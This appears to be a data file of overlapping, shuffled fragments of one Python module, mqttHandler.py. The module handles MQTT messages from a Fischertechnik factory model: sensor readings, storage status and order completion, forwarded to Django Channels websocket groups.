"async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit,",
"Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data) elif topic == \"Order/Ready\": Order_Ready_Data_Handler(data)",
"short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message } )",
"monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def",
"'message': message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit,",
"json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder",
"elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data) elif",
"= get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic,",
"voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False",
"json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id",
"asgiref.sync import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils",
"'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def",
"'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5':",
"False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine = \"\"",
"'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message",
"temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\":",
"monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature']",
"= True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine",
"'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit }",
"topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data) elif topic",
"= json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine",
"if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True",
"recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic,",
"try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass",
"message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer =",
"temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit",
"import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit",
"# recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data)",
"from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit =",
"\"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2]",
"from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit = \"\"",
"if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer = get_channel_layer()",
"= Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def",
"monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine,",
"'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6':",
"= True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer",
"json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() #",
"topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"):",
"json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist:",
"channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message } ) def",
"voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color']",
"channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2':",
"\"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data) elif topic == \"Order/Ready\":",
"= \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message =",
"\"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True",
"temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine:",
"voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine",
"temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine",
"import json from asgiref.sync import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import",
"= get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine,",
"factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\"",
"json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'],",
"\"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\"",
"'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit':",
"True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"):",
"= \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict =",
"data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if topic.startswith(\"Status\"): Status_Data_Handler(topic, data)",
"Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict =",
"json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer",
"colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if",
"Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished =",
"data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s'",
"'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7':",
"{ 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit",
"= topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, {",
"topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic,",
"= get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'],",
"= json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1':",
"'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] }",
"json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and",
"'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data)",
"json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine =",
"monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit",
"\"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine = \"\"",
"def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name",
"topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif",
"monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine",
"= True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if",
"= json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine",
"'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict",
"json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage']",
"topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine",
"'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'],",
"factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine",
"'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(",
"json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True",
"} ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', {",
"customer_group_name, { 'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine,",
"= 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message':",
"= False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message',",
"get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3':",
"json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'],",
"json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'],",
"monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', {",
"data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data)",
"= False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine =",
"= json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except",
"'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer =",
"json_Dict = json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' %",
"'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict",
"json from asgiref.sync import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import Order",
"json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict =",
"json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId']",
"= \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic =",
"\\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature']",
"'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try:",
"topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type':",
"sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data)",
"import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine =",
"{ 'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine,",
"\"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic ==",
"json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit =",
"elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage']",
"short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name,",
"monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit =",
"== \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine = json_Dict['Voltage'] monitorSortingLine =",
"async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'],",
"'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8':",
"= json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save()",
"'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } )",
"from asgiref.sync import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import Order from",
"False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine':",
"data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data):",
"True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine = json_Dict['Temperature'] voltageSortingLine =",
"json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data):",
"Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic ==",
"Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name =",
"= False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic,",
"'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine,",
"message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\",
") def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit",
"from channels.layers import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit",
"channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine':",
"== \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic",
"{ 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4': json_Dict['Storage4'],",
"= json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine = json_Dict['Color'] temperatureSortingLine",
"\"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text']",
") def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type':",
"get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data):",
"= json.loads(data) message = json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic",
"'storage_monitoring', { 'type': 'storage_message', 'storage0': json_Dict['Storage0'], 'storage1': json_Dict['Storage1'], 'storage2': json_Dict['Storage2'], 'storage3': json_Dict['Storage3'], 'storage4':",
"sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit = \"\" monitorSortingLine = False",
"Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic,",
"colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data):",
"last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id) recentOrder.finished = True recentOrder.save() # recentOrder.delete()",
"= json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer()",
"voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\":",
"Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message', 'storage0':",
"voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring',",
"'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def",
"% short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message }",
"recentOrder.delete() except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif",
"voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit =",
"= \"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine = \"\" voltageSortingLine =",
"monitorSortingLine = True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False",
"json_Dict['Storage3'], 'storage4': json_Dict['Storage4'], 'storage5': json_Dict['Storage5'], 'storage6': json_Dict['Storage6'], 'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } )",
"import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import",
"True if monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer =",
"import get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False",
"get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine': temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit':",
"get_channel_layer from factoryWebsite.models import Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit",
"global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if",
"} ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder =",
"customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message',",
"<filename>dhbwFischertechnik/factoryWebsite/mqttHandler.py import json from asgiref.sync import async_to_sync from channels.layers import get_channel_layer from factoryWebsite.models",
") def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id = json_Dict['LastId'] try: recentOrder = Order.objects.get(transaction_id=last_id)",
"json.loads(data) if topic == \"Monitor/MainUnit\": temperatureMainUnit = json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit =",
"except Order.DoesNotExist: pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic",
"async_to_sync(channel_layer.group_send)( customer_group_name, { 'type': 'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data): global",
"pass sendNewOrderToFactory(True) def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\":",
"monitorMainUnit and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(",
"and monitorSortingLine: monitorMainUnit = False monitorSortingLine = False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring',",
"def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'storage_monitoring', { 'type': 'storage_message',",
"'status_message', 'message': message } ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit,",
"temperatureSortingLine, 'voltageSortingLine': voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict =",
"if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def topic_Data_Handler_QoS_2(topic, data): if",
"= \"\" voltageMainUnit = \"\" monitorSortingLine = False colorSortingLine = \"\" temperatureSortingLine =",
"} ) def Monitoring_Data_Handler(topic, data): global colorSortingLine, temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine,",
"'storage7': json_Dict['Storage7'], 'storage8': json_Dict['Storage8'] } ) def Order_Ready_Data_Handler(data): json_Dict = json.loads(data) last_id =",
"voltageSortingLine, 'temperatureMainUnit': temperatureMainUnit, 'voltageMainUnit': voltageMainUnit } ) def Storage_Data_Handler(data): json_Dict = json.loads(data) channel_layer",
"temperatureSortingLine, voltageSortingLine, temperatureMainUnit, voltageMainUnit, \\ monitorSortingLine, monitorMainUnit json_Dict = json.loads(data) if topic ==",
"json_Dict['Temperature'] voltageMainUnit = json_Dict['Voltage'] monitorMainUnit = True elif topic == \"Monitor/SortingLine\": colorSortingLine =",
"Order from factoryWebsite.utils import sendNewOrderToFactory monitorMainUnit = False temperatureMainUnit = \"\" voltageMainUnit =",
"def topic_Data_Handler_QoS_0(topic, data): if topic.startswith(\"Monitor\"): Monitoring_Data_Handler(topic, data) elif topic == \"Storage/Factory\": Storage_Data_Handler(data) def",
"json_Dict['Text'] short_topic = topic.partition(\"Status/\")[2] customer_group_name = 'name_%s' % short_topic channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)(",
"voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data) message = json_Dict['Text'] short_topic",
"= False channel_layer = get_channel_layer() async_to_sync(channel_layer.group_send)( 'sensors_monitoring', { 'type': 'monitoring_message', 'colorSortingLine': colorSortingLine, 'temperatureSortingLine':",
"\"\" temperatureSortingLine = \"\" voltageSortingLine = \"\" def Status_Data_Handler(topic, data): json_Dict = json.loads(data)",
